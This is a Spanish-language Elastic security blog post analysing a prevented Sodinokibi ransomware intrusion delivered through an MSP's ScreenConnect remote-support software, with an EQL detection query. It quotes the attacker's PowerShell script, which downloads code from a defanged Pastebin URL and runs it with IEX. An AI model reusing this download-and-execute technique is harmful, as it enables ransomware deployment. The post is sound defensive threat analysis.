Ransomware, interrumpido: Sodinokibi y la cadena de suministro | Elastic Blog
Engineering

Ransomware, interrumpido: Sodinokibi y la cadena de suministro

La solución Elastic Endpoint Security mencionada en este blog ahora se denomina Elastic Security. La solución Elastic Security más amplia proporciona seguridad de endpoint, SIEM, búsqueda de amenazas, monitoreo del cloud y más. Cuando se haga mención en el futuro a la seguridad de endpoint de Elastic, se hará referencia a la protección antimalware específica que los usuarios pueden habilitar en el Gestor de ingesta.

El mes pasado, el Equipo de protecciones de Elastic Security evitó un intento de ataque de ransomware dirigido a una organización monitoreada por uno de nuestros clientes, un proveedor de servicios administrados (MSP) de TI. Analizamos las alertas que se generaron después de que Elastic Endpoint Security impidió los intentos de inserción de procesos de un adversario en varios endpoints. Los adversarios a menudo intentan inyectar códigos maliciosos en un proceso en ejecución antes de cifrar y retener los datos de la víctima para pedir un rescate.

El comportamiento que observamos en este caso es coherente con los reportes de agentes maliciosos que han atacado a MSP para desplegar ransomware a escala empresarial. Al aprovecharse de las relaciones de confianza entre los MSP y sus clientes, los ataques de esta naturaleza tienen un impacto de gran magnitud: pueden paralizar pequeñas empresas, interferir con el transporte o incluso trastornar un servicio público municipal crítico.

Es importante señalar en este caso que el adversario accedió al entorno objetivo a través de otro MSP, que no es un cliente de Elastic Security; no tenemos detalles específicos acerca de ese entorno ni cómo pudo haberse comprometido.

En este blog, discutiremos el comportamiento malicioso que observamos y prevenimos, por qué este ataque suele tener éxito en el ámbito general y qué puedes hacer para reducir la efectividad de este tipo de ataque en tu empresa.

Inteligencia y Analíticas de Elastic Security, un equipo dentro de Ingeniería de Elastic Security, usa telemetría de seguridad anonimizada de clientes participantes para rastrear amenazas y mejorar productos, una función que incluye la recopilación de metadatos de alerta. Al monitorear los patrones de eventos que afectan a muchos clientes, podemos tomar decisiones oportunas que mejoran nuestra capacidad para mitigar las amenazas emergentes o proporcionar a la comunidad información esencial.

Prevenir la inserción de procesos maliciosos

Las primeras pruebas de compromiso se detectaron cuando se evitaron varios intentos de inserción de procesos. La inserción de procesos se puede usar para ejecutar código en el espacio de direcciones de un proceso en ejecución. Los adversarios a menudo ejecutan esta técnica en un intento de evitar que los productos de seguridad los detecten, o para ejecutar código malicioso en un proceso que se ejecuta en un nivel de integridad más alto para aumentar sus privilegios.

ransomware-prevention-blog-process-injection-alerts.png

Alertas de inserción de procesos en la plataforma de Elastic Endpoint Security

El análisis de las alertas de inserción de procesos estableció que PowerShell, un poderoso marco de trabajo de scripting nativo, se aprovechó para intentar autoinsertar shellcode, un comportamiento que suele ser malicioso. El proceso powershell.exe se creó como un descendiente de ScreenConnect.WindowsClient.exe, una aplicación de soporte de escritorio remoto. Este tipo de software se usa para permitir que los administradores de TI se conecten a computadoras remotas y brinden soporte a los usuarios finales, pero los adversarios a menudo abusan de este tipo de aplicaciones, una táctica conocida como "vivir de la tierra".

La siguiente figura muestra el inusual linaje de procesos asociado con este caso en Resolver™, nuestra herramienta de visualización que muestra eventos relacionados con un ataque.

Resolver™ muestra el linaje de procesos asociado con el intento de inserción de procesos.

Observa que cmd.exe y powershell.exe son ambos descendientes del proceso ScreenConnect.WindowsClient.exe. Esto es sospechoso teniendo en cuenta su capacidad para ejecutar comandos o scripts maliciosos, pero de forma aislada esto no indica necesariamente una actividad maliciosa. Establecer un punto de referencia en tu entorno y comprender las relaciones normales de procesos en tu empresa es fundamental para buscar, detectar o responder a comportamientos maliciosos.

En este caso, la revisión de los procesos y sus argumentos de línea de comando revelaron que el adversario aprovechó el software de escritorio remoto ScreenConnect para conectarse y copiar un archivo batch al endpoint objetivo. La revisión de uno de los procesos cmd.exe en Resolver™ mostró que el archivo batch contenía un script de PowerShell codificado en Base64 que posteriormente se ejecutó.

Detectar y prevenir comportamientos no deseados con EQL

Si bien este objetivo potencial protegido por Elastic Endpoint Security evitó un ataque costoso de ransomware, muchos MSP todavía están aprendiendo a manejar esta metodología. Este adversario entiende que los proveedores de servicio suelen tener una confianza implícita con sus clientes y eso hace que los proveedores de todo tipo sean valiosos.

Una vez que un adversario ha obtenido acceso inicial a su entorno objetivo, es típico que busque y se aproveche de las relaciones de confianza implícitas, como se ve en este caso. La organización víctima confía en las conexiones a su entorno desde su MSP a través de la aplicación de soporte de escritorio remoto, que presenta el riesgo de comprometer la cadena de suministro.

Al considerar cómo monitorear y defender estas relaciones de confianza, enfocarse en las aplicaciones que se conectan desde la entidad de confianza a tu red es un buen punto de partida. Incluir en una lista negra los procesos descendientes de ScreenConnect puede no ser una solución viable para prevenir este comportamiento malicioso, ya que puede impedir que el personal de soporte legítimo sea eficaz. Sin embargo, un equipo de monitoreo de seguridad puede decidir que un proceso descendiente de ScreenConnect que está usando la red es sospechoso y que desea detectar y prevenir ese comportamiento. Esto es posible usando el lenguaje de búsqueda de eventos (EQL) de Elastic y es un enfoque genérico para desarrollar la concientización del entorno.

La siguiente búsqueda EQL busca una secuencia de dos eventos que están relacionados mediante el Id. único de proceso (PID) del proceso. El primer evento busca un proceso que sea descendiente de ScreenConnect*.exe. El segundo evento busca actividad de red desde el proceso descendiente. Esta búsqueda se puede ampliar fácilmente para incluir otro software de acceso remoto o filtrar las actividades esperadas en tu entorno.

sequence by unique_pid
  [process where descendant of [process where process_name == "ScreenConnect*.exe"]]
  [network where true]

Con Elastic Endpoint Security también es posible configurar una acción de respuesta de Reflex, que es una forma de que los clientes implementen sus propias reglas de prevención personalizadas. Por ejemplo, podemos eliminar el proceso descendiente cuando establece una conexión de red, lo que evitaría que se descargue más código malicioso o que se realicen actividades de comando y control.

Configurar una acción de respuesta de Reflex en la plataforma de Elastic Endpoint Security

Elastic Endpoint Security incluye cientos de nuestras propias analíticas basadas en el comportamiento que incluyen formas de detectar y prevenir relaciones anormales de procesos que involucran herramientas administrativas o binarios de terceros que son nativos de los sistemas operativos Windows, MacOS o Linux.

Análisis de las acciones furtivas del adversario

El script de PowerShell que se ejecutó comprobó la arquitectura del procesador antes de usar la clase .NET WebClient para descargar contenido de Pastebin y el cmdlet Invoke-Expression (IEX) para ejecutar código. Esta es una técnica popular entre los adversarios para descargar y ejecutar código a través de PowerShell.

Pastebin es un servicio de hospedaje y uso compartido de texto sin formato en el que los usuarios legítimos a menudo comparten fragmentos de código. Sin embargo, los agentes maliciosos usan Pastebin y sitios web similares para almacenar códigos maliciosos o publicar credenciales filtradas.

If ($ENV:PROCESSOR_ARCHITECTURE  - contains 'AMD64')  {
    Start - Process  - FilePath "$Env:WINDIR\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"  - argument "IEX ((new-object net.webclient).downloadstring('https://pastebin[.]com/raw/[REDACTED]'));Invoke-LJJJIWVSRIMKPOD;Start-Sleep -s 1000000;"
} else {
    IEX ((new - object net.webclient).downloadstring('https://pastebin[.]com/raw/[REDACTED]'));
    Invoke - LJJJIWVSRIMKPOD;
    Start - Sleep  - s 1000000;
}
Script de PowerShell que descargó contenido1 de pastebin.com

Este comportamiento a menudo se clasifica como un ataque sin archivo o en memoria debido a la actividad de disco nula o mínima que se produce en el endpoint. Cuando el agente de Elastic Endpoint Security detecta un ataque sin archivo, recopila y extrae automáticamente el código y los textos insertados del ataque planeado. Esta característica nos permitió tener una completa visibilidad del comportamiento que se impidió.

Al buscar en VirusTotal algunos de los textos recopilados, surgieron varias muestras de la familia de ransomware Sodinokibi.

Los siguientes comportamientos y rastros de herramientas específicos indican que esta actividad es coherente con la ejecución de las muestras de ransomware Sodinokibi o Gandcrab, según lo informado por BleepingComputer y Cynet:

  • El agente malicioso usó el software de soporte de escritorio remoto ScreenConnect para conectarse desde un MSP comprometido a la empresa objetivo.
  • ScreenConnect se usó para copiar un script batch en los endpoints, que contenía un script de PowerShell para descargar e insertar código malicioso desde Pastebin.
  • El script de PowerShell contenía cmdlets y textos (p. ej., Invoke-LJJJIWVSRIMKPOD y Start-Sleep) que se han observado en otras campañas de ransomware Sodinokibi.
  • Los textos que se recopilaron de los subprocesos insertados son coherentes con las muestras de ransomware Sodinokibi que se enviaron a VirusTotal en las últimas 24 horas.

Después de que se impidió el intento del adversario de autoinsertar shellcode y ejecutar ransomware, su ataque al endpoint inicial se detuvo. Después de un período de 15 minutos, el adversario regresó e intentó ejecutar los mismos procedimientos en cinco endpoints adicionales antes de darse por vencido. Se impidieron todos sus intentos de desplegar ransomware.

Conclusión

En este blog, analizamos un caso del mundo real sobre un agente malicioso que se aprovechó de las relaciones de confianza entre un MSP y sus clientes e intentó desplegar ransomware. Esto resalta la importancia de comprender las relaciones que tu organización tiene con terceros y el impacto potencial si se abusa de esas conexiones.

El análisis de las alertas reveló que el adversario se conectó al entorno del cliente a través de un software de soporte de escritorio remoto y ejecutó un script malicioso con la intención de descargar, insertar y ejecutar ransomware. Se impidieron todos los intentos del adversario.

Este caso también demuestra la importancia de tener un enfoque en capas para la seguridad y ser capaz de detectar y prevenir el comportamiento de los adversarios y los ataques sin archivo. Analizamos los procedimientos de los atacantes y mostramos cómo EQL y Reflex pueden usarse para crear reglas y respuestas personalizadas.

Buscar solo archivos maliciosos no es suficiente; Elastic Endpoint Security proporciona varias capas de protecciones basadas en el comportamiento contra ransomware, ataques sin archivo, phishing, vulnerabilidades de seguridad y comportamientos de los adversarios.

El soporte de EQL se añadirá a Elasticsearch.

1 — El contenido se ha eliminado de Pastebin por su creador o el personal de Pastebin.